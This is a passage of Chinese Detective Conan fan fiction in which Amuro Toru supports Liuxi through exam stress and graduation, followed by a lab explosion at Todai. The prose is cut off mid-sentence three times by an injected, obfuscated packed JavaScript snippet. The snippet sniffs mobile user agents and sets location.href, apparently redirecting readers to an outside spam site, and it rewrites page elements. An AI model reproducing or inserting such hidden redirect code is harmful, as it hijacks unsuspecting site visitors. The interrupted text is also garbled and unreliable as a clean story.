“今天店里关得早。”安室透走到她桌边,很自然地接过她手里的参考书,“而且,我猜某人应该还没吃晚饭。” 纸袋打开,温热的三明治香气飘散出来,还有一杯冒着热气的巧克力。安室透把东西推到鎏汐面前:“先吃点东西,休息一会儿再继续。” 鎏汐看着那份精心准备的三明治——面包烤得恰到好处,生菜和番茄片新鲜脆嫩,照烧鸡肉的量多到几乎要溢出来——这是安室透特制的“考生营养餐”,已经连续为她做了一个月。 “我不饿。”她轻声说,却还是拿起三明治咬了一口。温热的食物滑入胃里,竟真的缓解了些许焦虑。 安室透在她旁边的空位坐下,没有催促,只是安静地看着她吃。直到鎏汐吃完最后一口,他才从大衣口袋里掏出一份打印的试卷。 “昨天你做错的几道题,我重新整理了解题思路。”他将试卷摊开,上面用红笔工整地写满了注释,“尤其是这道遗传题,你被题干里多余的基因型信息干扰了,其实只需要抓住孟德尔定律的基础算法……” 他的声音低沉而清晰,讲解时偶尔会用笔在纸上画出示意图。鎏汐起初还有些走神,渐渐就被他条理分明的分析吸引,那些原本纠缠不清的知识点,在他笔下一点点变得清晰。 “懂了吗?”讲解告一段落,安室透侧头看她。 鎏汐点点头,却又轻轻叹了口气:“透,我有时候觉得……我可能考不上。” 这句话她说得很轻,轻得几乎要被窗外的风声淹没。但安室透听见了。他放下笔,转过身,双手轻轻握住她的肩膀。 “看着我,鎏汐。”他的声音很严肃,紫灰色的眼睛里闪烁着某种坚定的光芒,“你不是‘可能考不上’,你是帝丹高中年级前十的学生,是波洛咖啡厅那个什么都能学会的鎏汐,是——” 他顿了顿,语气忽然柔软下来:“是我认识的最聪明、最坚韧的女生。” 鎏汐的眼眶有些发热。她别过脸去,不想让他看见自己脆弱的样子:“可是最近模拟考,我掉到十五名了。” “一次考试而已。”安室透用指尖轻轻拭去她眼角的一点湿润,“而且,鎏汐,你要记住——你不是为了考试而学习,你是为了成为你想成为的人。” 窗外,夜色渐浓。安室透收拾好两人的东西,很自然地牵起她的手:“走,带你去个地方。” *** 车子没有开往鎏汐的公寓,也没有去波洛咖啡厅,而是驶向了东京湾的方向。鎏汐靠在副驾驶座上,看着窗外飞速掠过的街灯,疲惫感像潮水般涌上来,她不知不觉闭上了眼睛。 不知过了多久,她感觉车子停了下来。睁开眼,安室透正温柔地看着她。 “到了。” 眼前是一片开阔的观景平台,位于东京湾附近的一座小山坡上。夜风带着海水的咸湿气息扑面而来,鎏汐下意识裹紧了外套。安室透从后座拿出另一条厚围巾,仔细地围在她脖子上。 “冷吗?” 鎏汐摇摇头,目光却被眼前的景象吸引了——整个东京湾的夜景在脚下铺展开来,彩虹大桥的灯光倒映在海面上,远处东京塔的光芒在夜空中静静闪烁。这里远离市区的喧嚣,只有风声和海浪声,宁静得让人心绪也跟着平复下来。 “我压力大的时候,偶尔会来这里。”安室透靠在栏杆上,侧脸在夜色中显得格外柔和,“看着这片海,就会觉得……再难的事情,好像也能扛过去。” 鎏汐走到他身边,两人并肩望着远处的海面。沉默在夜色中流淌,却不显得尴尬。 “透。”她忽然开口,“你当年……考警察学校的时候,紧张吗?” 安室透愣了一下,随即低低笑了起来:“紧张。紧张到考试前一周,每天只能睡三四个小时。” “那你是怎么熬过来的?” “硬扛。”他说得很简单,“因为知道那是我想走的路,所以再难也得走下去。” 他转过头,认真地看着鎏汐:“你想考东大医学系,是因为那是你父母的期望,还是因为你自己真的想?” 这个问题让鎏汐怔住了。她张了张嘴,想要说些什么,却发现答案并不像想象中那么清晰。 “我……”她犹豫着,“我想救更多的人。就像我妈妈那样——原主的妈妈是医生,她救过很多人。虽然我不记得她,但整理她留下的日记时,我能感受到她对这个职业的热爱。” 安室透静静听着,没有打断。 “而且,”鎏汐的声音更轻了,“我想成为一个……能站在你身边的人。不是需要你时刻保护的小女生,而是有能力保护自己,甚至在某些时候,也能保护你的人。” 这句话她说得很慢,每一个字都像是在心底酝酿了很久。安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082802|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室透的瞳孔微微收缩,他伸出手,将鎏汐轻轻拥入怀中。 “傻瓜。”他在她耳边低语,声音里带着难以言喻的情绪,“你从来都不是需要保护的小女生。从国中时第一次见到你,我就知道——你是那种哪怕被生活逼到绝境,也能自己站起来的女孩。” 鎏汐把脸埋在他胸前,闻着他身上熟悉的、混合着咖啡和淡淡皂角香的气息。这气息像有魔力,总能让她安心。 “压力大的时候,要记得说出来。”安室透轻轻抚摸着她的长发,“睡不着的时候,就给我打电话,不管多晚。不想做题的时候,我们就来这里看海。但是鎏汐,不要怀疑自己——你比你想象的要强大得多。” 海风更大了些,吹起两人的头发。安室透松开她,从大衣口袋里掏出一个丝绒小盒子。 “这是……”鎏汐有些惊讶。 “不是戒指。”安室透打开盒子,里面是一条精致的银质项链,吊坠是小小的樱花形状,“下个月就是你生日了,但我想现在送给你。” 他取出项链,绕到鎏汐身后为她戴上。冰凉的银链贴上皮肤,很快就被体温焐热。安室透的手指轻轻拂过她后颈的肌肤,动作温柔得像对待稀世珍宝。 “樱花的寓意是——无论经历多少寒冬,春天总会到来,花儿总会绽放。”他的声音近在咫尺,“就像你,鎏汐。现在可能是最难熬的冬天,但坚持下去,你一定会迎来属于自己的花期。” 鎏汐低头看着胸前的樱花吊坠,银质的花瓣在月光下泛着柔和的光泽。她忽然转过身,紧紧抱住安室透。 “谢谢你。”她说,声音有些哽咽,“谢谢你还愿意回来,谢谢你还愿意……陪我走过这段路。” 安室透没有说话,只是更用力地回抱住她。在这个寒冷的冬夜,在东京湾的夜色中,两个曾经分离又重逢的灵魂,紧紧依偎在一起,像是要把对方揉进自己的生命里。 *** 回程的路上,鎏汐靠在车窗上,看着外面飞速掠过的夜景。胸前的樱花吊坠随着车子的颠簸轻轻晃动,偶尔触到皮肤,带来微凉的触感。 “明天开始,”她忽然说,“我要调整复习计划。” “嗯?”安室透侧头看她。 “每天保证七小时睡眠,三餐按时吃,下午抽半小时散步。”鎏汐说得很认真,“还有,每周六晚上,我要休息,什么都不做,就看电影,或者来这儿看海。” 安室透的嘴角扬起一个温柔的弧度:“好。” “另外,”鎏汐转过头,眼睛在车内昏暗的光线下亮晶晶的,“如果我模考又掉名次了,你不许安慰我,要直接告诉我哪里做错了,怎么改进。” “遵命。”安室透笑着伸出手,揉了揉她的头发,“这才是我的鎏汐。” 车子停在公寓楼下时,已经接近午夜。鎏汐解开安全带,却没有立刻下车。 “透。”她轻声说,“等我考上东大,我们……” “我们就重新开始同居生活。”安室透接过她的话,眼神温柔而坚定,“我答应过你,不会食言。” 鎏汐点点头,凑过去在他脸颊上轻轻一吻:“晚安。” “晚安。” 50.第 50 章 最后一科考试结束的铃声响起时,鎏汐握着笔的手微微颤抖了一下。她看着被监考老师收走的试卷,忽然觉得整个考场都安静得能听见自己的心跳声。两年多的努力、无数个熬夜刷题的夜晚、堆积如山的参考书和模拟卷——在这一刻,都画上了句号。 走出考场时,六月的阳光刺得人有些睁不开眼。帝丹高中门口挤满了等待的家长和学生,欢呼声、哭泣声、讨论答案的声音交织在一起,形成一种近乎狂欢的氛围。鎏汐站在教学楼门口的阴影里,有些茫然地看着这一切,直到一个熟悉的声音从身后传来。 “考得怎么样?” 她转过身,安室透正靠在走廊的柱子上,手里拿着两罐冰镇乌龙茶。他今天穿了件简单的白色T恤和牛仔裤,看起来就像个普通的大学生,可那双紫灰色的眼睛里,却有着只有鎏汐才能读懂的温柔。 “不知道。”鎏汐接过他递来的饮料,冰凉的罐身触碰到掌心,驱散了夏日的燥热,“题目比想象中难,但也不算完全不会。” “那就是考得不错。”安室透很自然地接过她的书包,另一只手轻轻揽住她的肩膀,“走吧,带你去庆祝。” 他们没有立刻离开学校。安室透牵着鎏汐的手,沿着帝丹高中熟悉的林荫道慢慢走着。这条路鎏汐走过无数次——早晨匆匆赶着上课,中午和毛利兰、铃木园子一起去食堂,傍晚被安室透接去波洛咖啡厅兼职。而今天,大概是她最后一次以学生的身份走在这里了。 “有点不真实。”鎏汐轻声说,“好像昨天才刚升入高中,转眼就要毕业了。” “时间过得很快。”安室透握紧了她的手,“但你抓住了每一分每一秒,这就够了。” 他们在操场边的长椅上坐下。夕阳把天空染成橙红色,远处还能听见毕业生们兴奋的喧闹声。安室透从背包里拿出一个小纸袋,递给鎏汐。 “这是什么?” “打开看看。” 鎏汐打开纸袋,里面是一本厚厚的相册。翻开第一页,是她国中时在波洛咖啡厅兼职的照片——穿着围裙,手里端着托盘,表情还有些生涩。往后翻,是她高中入学式上穿着校服的样子、第一次模考后趴在桌上睡着的样子、在图书馆复习时被偷拍的侧脸……每一张照片下面都写着日期和简短的备注。 “这些都是……”鎏汐抬起头,眼眶有些发热。 “我拍的。”安室透的声音很轻,“从我们重逢那天开始,只要有机会,我就会拍一张你的照片。我想记住——记住你是怎样一点点变成现在这个优秀的鎏汐的。” 鎏汐翻到最后一页,那是昨天她临考前在考场外紧张踱步的样子。照片下面写着:“6月10日,我的鎏汐要去征服东大了。” “透……”她不知道该说什么,只能紧紧抱住那本相册,像是抱住了过去两年所有的努力和坚持。 “不用说什么。”安室透揉了揉她的头发,“我都明白。” 庆祝的地点选在东京塔附近的观景餐厅。安室透提前订了靠窗的位置,从落地窗望出去,整个东京的夜景尽收眼底。鎏汐换上了安室透为她准备的浅蓝色连衣裙,长发松松地挽在脑后,露出优美的脖颈线条。当她走进餐厅时,不少客人都投来惊艳的目光,但鎏汐早已习惯了这样的注视,她的眼里只有坐在窗边等待的那个男人。 “你今天很美。”安室透为她拉开椅子,在她坐下时轻声说道。 “你准备的裙子,当然要穿给你看。”鎏汐难得地开了个玩笑。 晚餐进行得很愉快。安室透点了鎏汐最喜欢的法式料理,两人聊着考试后想做的事——鎏汐说想去海边,想学冲浪,想把之前没时间看的电影都补上;安室透则说,只要她想去的地方,他都会陪她去。 “不过在那之前,”安室透切着盘子里的牛排,状似不经意地说,“我可能需要离开东京几天。” 鎏汐拿着叉子的手顿了顿:“任务?” “嗯。”安室透没有隐瞒,“三天左右,去大阪处理一些事情。我会每天给你打电话。” 如果是几个月前,听到这样的消息,鎏汐大概会感到不安。但现在,她只是点了点头:“好,注意安全。” 安室透有些意外地看着她:“不问我去做什么?” “你想说的时候,自然会告诉我。”鎏汐喝了口红酒,眼神清澈而坚定,“而且,我相信你。相信你会回来,就像你之前答应我的那样。” 安室透的喉结滚动了一下。他放下刀叉,隔着桌子握住鎏汐的手:“谢谢。” 这个词他说得很轻,但鎏汐能听出里面沉甸甸的分量。她知道,对于安室透这样的人来说,信任是比任何甜言蜜语都珍贵的礼物。 晚餐后,两人没有立刻回家,而是去了附近的公园散步。夏夜的微风带着淡淡的花香,路边有街头艺人在弹吉他,旋律温柔而伤感。他们牵着手,像普通情侣一样慢慢走着,谁也没有说话,却觉得这样的沉默格外美好。 “鎏汐。”安室透忽然停下脚步,“如果……我是说如果,你考上了东大,但我的任务还没有结束,可能还会经常像这样突然离开,你会不会……” “会不会后悔?”鎏汐接过他的话,转身面对他,“透,从国中时决定喜欢你那一刻起,我就知道你不是普通人。你身上有秘密,有我不能触碰的领域,有随时可能消失的风险——但这些我早就知道了。” 她的声音在夜色中显得格外清晰:“我喜欢的是完整的你,包括那些我不能了解的部分。所以,不用问我后不后悔。我唯一后悔的,是当年没有在你离开时更坚强一点,让你能更放心地去完成你必须完成的事。” 安室透深深地吸了口气,然后用力将鎏汐拥入怀中。他的拥抱很紧,紧得鎏汐几乎要喘不过气,但她没有挣扎,只是同样用力地回抱住他。 “等我。”安室透在她耳边低声说,“等一切都结束了,我会把所有的故事都讲给你听。关于我的过去,我的身份,我为什么不得不离开……所有的一切。” “好。”鎏汐把脸埋在他胸前,“我等你。” 安室透离开东京的那天早晨,鎏汐去机场送他。他穿着简单的黑色夹克和牛仔裤,背着一个旅行包,看起来就像个普通的背包客。但在过安检前,他忽然转身,快步走回来,在鎏汐反应过来之前,低头吻住了她的唇。 那是一个短暂却深刻的吻,带着夏日的热度和离别的苦涩。分开时,两人的呼吸都有些急促。 “每天都要给我发信息。”安室透抵着她的额头,“哪怕只是‘早安’或者‘晚安’。” “你也是。”鎏汐的手指轻轻拂过他脸颊的轮廓,“要平安回来。” 安室透最后看了她一眼,转身走进了安检通道。鎏汐站在原地,直到他的身影完全消失在视线里,才慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到东京的那天下午,鎏汐先去了波洛咖啡厅。推开门时,风铃发出清脆的声响,店里只有零星几个客人。她走向吧台,却看见一个熟悉的身影正在擦拭咖啡机。 “透?”鎏汐惊讶地睁大眼睛,“你不是说明天才回来吗?” 安室透转过身,脸上带着疲惫却温柔的笑容:“提前结束了,想早点见到你。” 他绕过吧台,走到鎏汐面前,很自然地低头吻了吻她的额头:“玩得开心吗?” “嗯。”鎏汐点点头,忽然想起什么,“对了,你说给我带了礼物?” 安室透从口袋里掏出一个小盒子:“在大阪的古董市场看到的,觉得你会喜欢。” 鎏汐打开盒子,里面是一枚精致的樱花胸针,花瓣是用淡粉色的贝母雕刻而成,在灯光下泛着柔和的光泽。她拿起胸针,指尖触碰到冰凉的金属,心里却涌起一股暖流。 “帮我戴上?”她轻声说。 安室透接过胸针,仔细地别在她的衣领上。他的手指偶尔触碰到她的脖颈,带来微痒的触感。戴好后,他退后一步,认真地看着她:“很适合你。” “谢谢。”鎏汐摸了摸胸针,忽然上前一步,抱住安室透的腰,“欢迎回来。” 安室透的身体僵了一瞬,然后放松下来,用力回抱住她。吧台后的榎本梓见状,忍不住偷笑,很识趣地转过身去整理餐具。 51.第 51 章 东大医学部的白色教学楼在阳光下泛着刺眼的光泽,鎏汐抱着厚重的专业课本,快步穿过种满银杏的林荫道。她今天穿了简单的白衬衫和深蓝色长裙,长发用一根木簪松松挽起,几缕碎发垂在颈侧,即便素面朝天,那张艳丽得过分的脸依然吸引了不少路过学生的目光。 这已经是她入学东大医学系的第三周。 穿越至今五年,从国中二年级那个茫然无措的少女,到如今站在日本顶尖学府的医学新生,鎏汐有时会在深夜恍惚——这一切,真的只是一场梦吗? “鎏汐学姐!” 清脆的喊声从身后传来。鎏汐回头,是同研究小组的大二学生山口惠子,正小跑着追上她,脸上带着兴奋的红晕。 “听说今天藤井教授要让我们接触‘α-7’项目的基础数据!”惠子眼睛亮晶晶的,“那可是教授研究了五年的核心课题,据说对神经退行性疾病的治疗有突破性进展!” 鎏汐心里一动。藤井教授——在原作《名侦探柯南》的剧情里,这位年过五十的医学教授曾因为某项研究,被黑衣组织盯上过。虽然时间线略有偏差,但既然她来到了这个世界,那些潜在的剧情节点,恐怕早晚会以某种形式重现。 “是吗?”她表面平静地回应,“那我们要更认真些。” 两人走进医学部实验楼。空气中弥漫着消毒水和福尔马林混合的气味,走廊两侧的实验室门紧闭,偶尔能听到仪器运转的低鸣。她们的研究室在四楼最里侧,门上贴着“藤井研究室”的金属牌。 推开门时,室内已经聚集了六七名学生。藤井教授站在实验台前,正在调试一台复杂的仪器。他年约五十,头发花白,戴着金边眼镜,神情专注得近乎苛刻。 “都到齐了?”教授抬头扫视一圈,“今天进行‘α-7’试剂的稳定性测试。山口,你负责记录温度变化;鎏汐,你协助我调配试剂比例。” 实验在安静而紧张的氛围中进行。鎏汐戴上无菌手套,按照教授指示,将几种淡蓝色液体依次加入锥形瓶中。她的动作精准而流畅——这得益于穿越前对化学实验的熟悉,也得益于这两年为考入医学系而付出的努力。 “很好。”藤井教授罕见地露出赞许的表情,“你的手法很稳,比很多大三学生都熟练。” “谢谢教授。”鎏汐微微颔首,心里却掠过一丝不安。 就在刚才调配试剂时,她眼角的余光瞥见实验台角落放着一本摊开的实验记录。某一页的边角,有人用铅笔写着一行小字——“数据异常,建议暂停”。 字迹很轻,像是匆忙写下的提醒,又像是某种警告。 “教授,”鎏汐斟酌着开口,“关于‘α-7’的前期数据,我注意到第三组实验的重复性似乎……” 她的话没能说完。 刺耳的警报声突然炸响,同时传来的还有玻璃碎裂的声响和学生的尖叫。鎏汐猛地抬头,只见藤井教授面前的仪器冒出一股刺鼻的白烟,紧接着,某种液体从破裂的管道中喷溅而出—— “教授!” 鎏汐几乎是本能地冲上前,用力将藤井教授往后一拉。几乎是同一瞬间,仪器发出一声闷响,小范围的爆炸让碎片四溅。教授的手臂被溅出的液体灼伤,白色的实验服瞬间被腐蚀出焦黑的痕迹。 “啊——”藤井教授痛苦地捂住手臂,脸色惨白。 实验室陷入混乱。有学生尖叫着往外跑,有人慌乱地拨打急救电话。鎏汐强迫自己冷静下来,快速扫视现场——仪器爆炸的位置、喷溅液体的轨迹、空气中弥漫的气味…… “都别动!”她厉声喝道,“保持原地,不要触碰任何东西!山口,去把通风系统开到最大!其他人,远离实验台至少三米!” 她的声音里有种不容置疑的威严。慌乱的学生们下意识地听从指令,实验室内的混乱暂时得到控制。 走廊传来急促的脚步声。安保人员和校医迅速赶到,将受伤的藤井教授抬上担架。随后赶来的,还有穿着制服的警察。 “所有人留在现场,配合调查。”为首的警官面容严肃,“这起事故,初步判定是人为破坏。” 人为破坏。 这四个字像冰锥一样刺进鎏汐的心里。她站在实验室门口,看着警察拉起的黄色警戒线,看着同事们被逐一询问时紧张的神情,看着走廊尽头匆匆赶来的那个熟悉身影—— 安室透几乎是跑着过来的。他今天穿了深灰色的西装,头发略显凌乱,额角还挂着细密的汗珠。看到鎏汐完好无损地站在那里,他明显松了口气,但眼神很快又凝重起来。 “你没事吧?”他走到鎏汐面前,声音压得很低。 “我没事。”鎏汐摇头,“但教授伤得不轻。” 安室透的视线扫过实验室内部,眉头越皱越紧。他转向负责调查的警官,出示了证件:“我是私家侦探安室透,受校方委托协助调查。” 警官显然认识他,点点头:“安室先生来得正好,现场有些疑点。” 两人低声交谈起来。鎏汐站在原地,目光却不由自主地追随着安室透的身影。距离他们上次见面,已经过去快一周了——自从她升入东大,安室透的行踪就变得越来越飘忽不定。有时能连续几天在波洛咖啡厅见到他,有时又会突然消失,电话不接,信息不回。 就像现在,他明明在东京,明明知道她在东大读书,却从未主动联系过她。 “鎏汐小姐。”安室透的声音将她从思绪中拉回,“能麻烦你详细描述一下事故发生前的情况吗?” 他的语气礼貌而疏离,就像对待任何一个普通目击者。鎏汐压下心头那点细微的刺痛,尽量客观地复述了整个过程。 “……我在调配试剂时,注意到实验记录本上有一行铅笔写的小字。”她最终补充道,“写着‘数据异常,建议暂停’。” 安室透的眼神瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安室透看了一眼屏幕,脸色瞬间变了。那是一种鎏汐从未见过的凝重——混杂着警惕、决绝,甚至还有一丝……恐惧? “抱歉,”他对警察说,声音却有些发紧,“我有急事,必须立刻离开。” “可是安室先生,调查还没——” “后续情况我会通过电话了解。”安室透打断对方,脚步已经迈向门口。 经过鎏汐身边时,他停顿了半秒。那双紫灰色的眼睛深深看了她一眼,嘴唇动了动,似乎想说什么,但最终只化为一句: “注意安全。” 然后他就转身离开了,背影决绝而匆忙,很快消失在走廊尽头。 鎏汐站在原地,手里还拿着刚才安室透递给她的证物袋——里面装着那枚纽扣。她低头看着证物袋,又抬头望向空荡荡的走廊,心里忽然涌起一股难以言喻的寒意。